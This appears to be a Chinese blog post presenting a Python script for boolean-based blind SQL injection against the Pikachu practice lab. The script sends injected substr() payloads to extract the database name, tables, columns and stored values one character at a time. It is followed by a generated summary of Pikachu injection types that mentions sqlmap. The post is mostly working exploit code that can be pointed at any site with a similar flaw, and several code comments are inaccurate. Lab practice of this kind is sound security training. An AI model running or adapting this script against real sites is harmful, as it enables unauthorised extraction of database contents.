pikachu靶场(SQL注入基于布尔的盲注)python实现

import requests
from bs4 import BeautifulSoup

url = "http://localhost:8086/pikachu-master/vul/sqli/sqli_blind_b.php"


def get_database_name(url):
    dataname = ''  # 初始化一个空字符串用于存储数据库名
    dict = 'abcdefghijklmnopqrstuvwxyz '  # 数据库名可能存在这些字段中的任意一个
    i = 1
    while True:
        for j in dict:  # 遍历dict中的字符
            payload = {
                'name': "admin' and substr(database(),%d,1) ='%s'-- " % (i, j),
                # 这里的substr函数用于截取数据库名的第i个字符,并与dict中的字符进行比较
                'submit': "%E6%9F%A5%E8%AF%A2"
            }
            response = requests.request("get", url, params=payload)  # 发送请求
            soup = BeautifulSoup(response.text, 'html.parser')  # 解析响应内容
            token = soup.find_all('p', class_="notice")[0].text  # 找到页面中的提示信息
            if 'uid' in token:  # 如果提示信息中包含uid,说明数据库名可能存在该字符
                if j != ' ':  # 如果该字符为z,说明数据库名可能存在该字符
                    dataname += j  # 将该字符添加到数据库名中
                    i += 1
                else:  # 如果该字符为 ',说明数据库名可能存在该字符,但由于该字符在数据库名中是最后一个,所以不再添加
                    return dataname


database_name = get_database_name(url)
print("数据库名为:" + database_name)


def get_table_name(url, database_name):
    table_name = ""  # 初始化一个空字符串用于存储表名
    dict = 'abcdefghijklmnopqrstuvwxyz, '  # 表名可能存在这些字段中的任意一个
    i = 1
    while True:
        for j in dict:
            payload = {
                'name': "admin' and substr((select group_concat(table_name) from information_schema.tables where table_schema='%s'),%d,1) ='%s'-- " % (
                    database_name, i, j),
                # 这里的substr函数用于截取数据库名的第i个字符,并与dict中的字符进行比较
                'submit': "%E6%9F%A5%E8%AF%A2"
            }
            response = requests.request("get", url, params=payload)  # 发送请求
            soup = BeautifulSoup(response.text, 'html.parser')  # 解析响应内容
            token = soup.find_all('p', class_="notice")[0].text  # 找到页面中的提示信息
            if 'uid' in token:  # 如果提示信息中包含uid,说明表名可能存在该字符
                if j != ' ':
                    table_name += j
                    i += 1
                else:
                    return table_name  # 找到表名后返回


database_name = input("请输入您要查询的数据库名:")
table_name = get_table_name(url, database_name)
print("表名为:" + table_name)


def get_column_name(url, database_name, table_name):
    column_name = ''  # 初始化一个空字符串用于存储列名
    dict = 'abcdefghijklmnopqrstuvwxyz, '  # 列名可能存在这些字段中的任意一个
    i = 1
    while True:
        for j in dict:  # 遍历dict中的字符
            payload = {
                'name': "admin' and substr((select group_concat(column_name) from information_schema.columns where table_schema='%s' and table_name='%s'),%d,1) ='%s'-- " % (
                    database_name, table_name, i, j),
                # 这里的substr函数用于截取数据库名的第i个字符,并与dict中的字符进行比较
                'submit': "%E6%9F%A5%E8%AF%A2"
            }
            response = requests.request("get", url, params=payload)  # 发送请求
            soup = BeautifulSoup(response.text, 'html.parser')  # 解析响应内容
            token = soup.find_all('p', class_="notice")[0].text  # 找到页面中的提示信息
            if 'uid' in token:  # 如果提示信息中包含uid,说明列名可能存在该字符
                if j != ' ':  
                    column_name += j  # 将该字符添加到列名中
                    i += 1
                else:   
                    return column_name  # 找到列名后返回


table_name = input('请输入您要查询的表名:')
column_name = get_column_name(url, database_name, table_name)
print("列名为:" + column_name)

def get_value(url,table_name,column_name1,column_name2):
    value= ''
    dict = 'abcdefghijklmnopqrstuvwxyz1234567890, '
    i = 1
    while True:
        for j in dict:  # 遍历dict中的字符
            payload = {
                'name': "admin' and substr((select group_concat(concat(%s,',',%s)) from %s),%d,1) ='%s'-- " % (
                    column_name1, column_name2 , table_name,i,j),
                # 这里的substr函数用于截取数据库名的第i个字符,并与dict中的字符进行比较
                'submit': "%E6%9F%A5%E8%AF%A2"
            }
            response = requests.request("get", url, params=payload)  # 发送请求
            soup = BeautifulSoup(response.text, 'html.parser')  # 解析响应内容
            token = soup.find_all('p', class_="notice")[0].text  # 找到页面中的提示信息
            if 'uid' in token:
                if j != ' ':
                    value += j
                    i += 1
                else:
                    return value

input_value = input('请输入您要查询的列名1:')
input_value2 = input('请输入您要查询的列名2:')
value = get_value(url, table_name, input_value, input_value2)
print("查询结果为:" + value)

执行结果

  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Pikachu靶场中,有多种类型的SQL注入漏洞可以进行测试和学习。这些类型包括数字型注入、字符型注入、搜索型注入、xx型注入、insert/update注入、delete注入、http头注入、盲注(基于布尔值)和盲注(基于时间)以及宽字节注入等。你可以使用工具如sqlmap来进行注入测试,通过构造恶意的SQL语句来获取数据库中的信息。例如,使用sqlmap命令可以指定目标URL和参数,然后进行注入测试,获取数据库中的表信息。\[1\]\[2\]\[3\] #### 引用[.reference_title] - *1* [Pikachu漏洞靶场系列之SQL注入](https://blog.csdn.net/weixin_45868644/article/details/120237977)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [pikachu靶场通关之sql注入系列](https://blog.csdn.net/qq_51902218/article/details/120333234)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [Pikachu(皮卡丘)靶场SQL注入](https://blog.csdn.net/weixin_44268918/article/details/128317939)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值